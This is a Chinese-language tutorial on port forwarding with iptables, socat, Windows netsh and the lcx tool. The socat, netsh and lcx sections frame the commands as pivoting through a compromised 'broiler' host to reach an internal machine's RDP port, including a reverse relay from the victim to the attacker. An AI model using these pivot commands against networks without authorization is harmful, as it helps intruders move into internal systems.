Linux
流量转发的方案很多,iptables算是其中一种,还有HaProxy和SoCat,不过都有比较大的局限,例如HaProxy无法转发UDP,SoCat无法批量转发多个端口,但是单端口转发SoCat是个不错的选择。
既然要进行流量转发,那么首先要开启服务器的转发功能,打开控制台输入 vi /etc/sysctl.conf 然后找到 net.ipv4.ip_forward = 0 修改为 net.ipv4.ip_forward = 1 随后保存。
执行 sysctl -p 来使更改生效。
iptables 转发(自带)
然后执行以下命令来添加iptables转发规则
单端口转发
iptables -t nat -A PREROUTING -p tcp --dport [要转发的端口号] -j DNAT --to-destination [要转发的服务器IP]
iptables -t nat -A PREROUTING -p udp --dport [要转发的端口号] -j DNAT --to-destination [要转发的服务器IP]
iptables -t nat -A POSTROUTING -p tcp -d [要转发的服务器IP] --dport [要转发的端口号] -j SNAT --to-source [本机IP]
iptables -t nat -A POSTROUTING -p udp -d [要转发的服务器IP] --dport [要转发的端口号] -j SNAT --to-source [本机IP]
端口段转发
栗子:转发10000到20000这个端口段,则填10000:20000
iptables -t nat -A PREROUTING -p tcp --dport [要转发的端口段] -j DNAT --to-destination [要转发的服务器IP]
iptables -t nat -A PREROUTING -p udp --dport [要转发的端口段] -j DNAT --to-destination [要转发的服务器IP]
iptables -t nat -A POSTROUTING -p tcp -d [要转发的服务器IP] --dport [要转发的端口段] -j SNAT --to-source [本机IP]
iptables -t nat -A POSTROUTING -p udp -d [要转发的服务器IP] --dport [要转发的端口段] -j SNAT --to-source [本机IP]
最后保存规则和重启iptables服务
/etc/init.d/iptables save && /etc/init.d/iptables restart
socat 转发(自带)
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。
socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。
socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。
工具地址:http://www.dest-unreach.org/socat
安装 socat
apt-get install socat
通过目标边界的Sangfor-4服务器的5555端口来访问内网192.168.1.1主机,具体如下[正向tcp端口转发]
肉机执行:
当监听来自外部5555端口流量时自动把他转发到目标内网192.168.1.1的3389端口上。
socat TCP4-LISTEN:5555,reuseaddr,fork TCP4:192.168.1.1:3389
入侵者主机执行:
mstsc 192.168.1.4 5555
Windows
netsh(自带)
通过目标边界的A服务器的5555端口来访问内网192.168.1.1主机,具体如下[正向tcp端口转发]:
先到边界肉鸡A(192.168.1.2)上执行如下转发
转发
netsh interface portproxy add v4tov4 listenport=5555 connectport=3389 connectaddress=192.168.1.1 protocol=tcp
查看端口转发规则
netsh interface portproxy dump
删除命令
netsh interface portproxy delete v4tov4 listenport=5555
lcx转发
内网IP:192.168.153.138
公网ip:192.168.153.140
受害者:lcx.exe –slave 公网IP +端口 内网IP +端口
lcx.exe –slave 192.168.153.140 4444 192.168.153.138 3389
攻击者(192.168.153.138)执行:
lcx -listen 4444 5555